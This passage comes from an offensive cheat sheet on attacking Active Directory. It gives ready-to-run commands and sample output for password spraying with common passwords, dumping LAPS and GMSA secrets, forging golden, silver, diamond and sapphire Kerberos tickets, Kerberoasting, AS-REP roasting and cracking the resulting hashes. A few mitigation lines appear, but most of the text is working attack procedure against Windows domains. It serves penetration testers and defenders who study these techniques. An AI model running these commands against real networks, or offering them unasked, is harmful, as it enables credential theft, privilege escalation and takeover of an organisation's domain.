$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
```

:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
- [hashmob.net](https://hashmob.net)
- [crackstation.net](https://crackstation.net)
- [hashes.com](https://hashes.com/en/decrypt/hash)


### NTDS Reversible Encryption

`UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED` ([0x00000080](http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm)), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.

The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin.
This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.

* List users with "Store passwords using reversible encryption" enabled
    ```powershell
    Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
    ```

The password retrieval is already handled by [SecureAuthCorp/secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) and mimikatz, it will be displayed as CLEARTEXT. 


## User Hunting

Sometimes you need to find a machine where a specific user is logged in.    
You can remotely query every machines on the network to get a list of the users's sessions.

* CrackMapExec
  ```ps1
  cme smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions
  SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  [+] Enumerated sessions
  SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  \\10.10.10.10            User:Administrator
  ```
* Impacket Smbclient
  ```ps1
  $ impacket-smbclient Administrator@10.10.10.10
  # who
  host:  \\10.10.10.10, user: Administrator, active:     1, idle:     0
  ```
* PowerView Invoke-UserHunter
  ```ps1
  # Find computers were a Domain Admin OR a specified user has a session
  Invoke-UserHunter
  Invoke-UserHunter -GroupName "RDPUsers"
  Invoke-UserHunter -Stealth
  ```


## Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. 

> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. 

Most of the time the best passwords to spray are :

- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)


### Kerberos pre-auth bruteforcing

Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.

> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.

* Username bruteforce
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
  ```
* Password bruteforce
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
  ```
* Password spray
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
  ```

### Spray a pre-generated passwords list

* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
  ```powershell
  crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  ```
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
  ```powershell
  # https://github.com/dafthack/DomainPasswordSpray
  Invoke-DomainPasswordSpray -Password Summer2021!
  # /!\ be careful with the account lockout !
  Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  ```
* Using `SMBAutoBrute`.
  ```powershell
  Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
  ```

### Spray passwords against the RDP service

* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
  ```powershell
  git clone https://github.com/xFreed0m/RDPassSpray
  python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
  ```
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
  ```powershell
  hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
  ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
  ```

### BadPwdCount attribute

> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

```powershell
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>
```


## Password in AD User comment

```powershell
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11       389    dc01    [+] Found following users: 
GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribution Center Service Account
```

There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.

```powershell
enum4linux | grep -i desc

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```

or dump the Active Directory and `grep` the content.

```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```


## Password of Pre-Created Computer Account

When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**. 

```ps1
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
```

* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)


## Reading LAPS Password

> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure. 

### Determine if LAPS is installed

```ps1
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

### Extract LAPS password

> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

 - From Windows:

   * adsisearcher (native binary on Windows 8+)
       ```powershell
       ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
       ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
       ```

   * [PowerView](https://github.com/PowerShellEmpire/PowerTools)
       ```powershell
       PS > Import-Module .\PowerView.ps1
       PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
       ```

   * [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
       ```powershell
       $ Get-LAPSComputers
       ComputerName                Password                                 Expiration         
       ------------                --------                                 ----------         
       example.domain.local        dbZu7;vGaI)Y6w1L                         02/21/2021 22:29:18

       $ Find-LAPSDelegatedGroups
       $ Find-AdmPwdExtendedRights
       ```

   * Powershell AdmPwd.PS
       ```powershell
       foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
       ```

 - From Linux:

   * [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
       ```bash
       # Read the password of all computers
       ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
       # Write a random password to a specific computer
       ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
       ```
     
   * [CrackMapExec](https://github.com/mpgn/CrackMapExec):
       ```bash
       crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
       ```

   * [LAPSDumper](https://github.com/n00py/LAPSDumper) 
       ```bash
       python laps.py -u 'user' -p 'password' -d 'domain.local'
       python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
       ```
   
   * ldapsearch
      ```bash
      ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
      ```

### Grant LAPS Access
The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

```ps1
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
```


## Reading GMSA Password

> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

### GMSA Attributes in the Active Directory 
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.


### Extract NT hash from the Active Directory

* [mpgn/CrackMapExec](https://github.com/mpgn/CrackMapExec)
  ```ps1
  # Use --lsa to get GMSA ID
  crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99
  crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'
  ```

* [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
  ```ps1
  GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
  ```

* [micahvandeusen/gMSADumper](https://github.com/micahvandeusen/gMSADumper)
   ```powershell
  python3 gMSADumper.py -u User -p Password1 -d domain.local
  ```
  
* Active Directory Powershell
  ```ps1
  $gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
  $blob = $gmsa.'msDS-ManagedPassword'
  $mp = ConvertFrom-ADManagedPasswordBlob $blob
  $hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
  ```

* [kdejoyce/gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module


## Forging Golden GMSA

> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

:warning: You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and `ManagedPasswordIntervalInDays`, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.

* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA)
    ```ps1
    # Enumerate all gMSAs
    GoldenGMSA.exe gmsainfo
    # Query for a specific gMSA
    GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

    # Dump all KDS Root Keys
    GoldenGMSA.exe kdsinfo
    # Dump a specific KDS Root Key
    GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

    # Compute gMSA password
    # --sid <gMSA SID>: SID of the gMSA (required)
    # --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
    # --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
    ```

## Kerberos Tickets

Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.

There are two types of tickets in Kerberos:

* **Ticket Granting Ticket** (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.

* **Service Ticket** (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.


### Dump Kerberos Tickets

* Mimikatz: `sekurlsa::tickets /export`
* Rubeus 
  ```ps1
  # List available tickets
  Rubeus.exe triage

  # Dump one ticket, the output is in Kirbi format
  Rubeus.exe dump /luid:0x12d1f7
  ```

### Replay Kerberos Tickets

* Mimikatz: `mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"`
* CrackMapExec: `KRB5CCNAME=/tmp/administrator.ccache crackmapexec smb 10.10.10 -u user --use-kcache`


### Convert Kerberos Tickets

In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.

* A credential cache, or `"ccache"` is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.

* The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a `"kirbi"` cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.

While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:

* kekeo: `misc::convert ccache ticket.kirbi`
* impacket: `impacket-ticketConverter SRV01.kirbi SRV01.ccache`


### Pass-the-Ticket Golden Tickets

Forging a TGT require:
* the `krbtgt` NT hash
* since recently, we cannot use a non-existent account name as a result of `CVE-2021-42287` mitigations

> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.

#### Using Mimikatz

```powershell
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

#### Using Meterpreter 

```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

#### Using a ticket on Linux

```powershell
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```powershell
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```


Mitigations:
* Hard to detect because they are legit TGT tickets
* Mimikatz generate a golden ticket with a life-span of 10 years


### Pass-the-Ticket Silver Tickets

Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.

```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

Interesting services to target with a silver ticket :

| Service Type                                | Service Silver Tickets | Attack |
|---------------------------------------------|------------------------|--------|
| WMI                                         | HOST + RPCSS           | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"`     |
| PowerShell Remoting                         | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| WinRM                                       | HTTP + wsman           | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| Scheduled Tasks                             | HOST                   | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
| Windows File Share (CIFS)                   | CIFS                   | `dir \\dc01\c$` |
| LDAP operations including Mimikatz DCSync   | LDAP                   | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
| Windows Remote Server Administration Tools  | RPCSS   + LDAP  + CIFS | /      |


Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.


### Pass-the-Ticket Diamond Tickets

> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key

Require: 
* krbtgt NT Hash
* krbtgt AES key

```ps1
ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'

Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS
```


### Pass-the-Ticket Sapphire Tickets

> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT).

The goal is to mimic the PAC field as close as possible to a legitimate one.

Require:
* [Impacket PR#1411](https://github.com/SecureAuthCorp/impacket/pull/1411)
* krbtgt AES key

```ps1
# baduser argument will be ignored
ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
```


## Kerberoasting

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.


* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
  ```powershell
  $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

  Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

  ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
  --------------------  -------------  --------------------------------------------------------  -------------------  -------------------
  active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

  $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
  ```

* CrackMapExec Module
  ```powershell
  $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
  LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
  LDAP        10.0.2.11       389    dc01           $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
  ```

* [Rubeus](https://github.com/GhostPack/Rubeus)
  ```powershell
  # Stats
  Rubeus.exe kerberoast /stats
  -------------------------------------   ----------------------------------
  | Supported Encryption Type | Count |  | Password Last Set Year | Count |
  -------------------------------------  ----------------------------------
  | RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
  -------------------------------------  ----------------------------------

  # Kerberoast (RC4 ticket)
  Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

  # Kerberoast (AES ticket)
  # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
  Rubeus.exe kerberoast /tgtdeleg

  # Kerberoast (RC4 ticket)
  # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
  Rubeus.exe kerberoast /rc4opsec
  ```

* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
  ```powershell
  Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
  ```

* [bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
  ```powershell
  ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
  ```

* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
  ```powershell
  # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
  # print the "kerberoast" hash, and delete the temporary SPN set for that operation
  targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
  ``` 


Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`) 
	
| Mode    | Description  |
|---------|--------------|
| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |

```powershell
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
```


Mitigations: 
* Have a very long password for your accounts with SPNs (> 32 characters)
* Make sure no users have SPNs

## KRB_AS_REP Roasting

> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

**Requirements**:
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)

* [Rubeus](https://github.com/GhostPack/Rubeus)
  ```powershell
  C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
  [*] Action: AS-REP roasting
  [*] Target User            : TestOU3user
  [*] Target Domain          : testlab.local
  [*] SamAccountName         : TestOU3user
  [*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
  [*] Using domain controller: testlab.local (192.168.52.100)
  [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
  [*] Connecting to 192.168.52.100:88
  [*] Sent 169 bytes
  [*] Received 1437 bytes
  [+] AS-REQ w/o preauth successful!
  [*] AS-REP hash:

  $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
  ```

* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
  ```powershell
  $ python GetNPUsers.py htb.local/svc-alfresco -no-pass
  [*] Getting TGT for svc-alfresco
  $krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4

  # extract hashes
  root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
  root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
  ```

* CrackMapExec Module
  ```powershell
  $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
  LDAP        10.0.2.11       389    dc01           $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
  ```

Using `hashcat` or `john` to crack the ticket.

```powershell
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
```

**Mitigations**: 
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).


## Kerberoasting w/o domain account

> In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an **KRB_AS_REQ** request and trick the request to ask for a **ST** instead of a **encrypted TGT**, by modifying the **sname** attribute in the req-body part of the request.

The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

:warning: You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

* [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413)
  ```powershell
  GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
  ```
* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139)
  ```powershell
  Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
  ```


## CVE-2022-33679

> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..

Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html

**Requirements**:
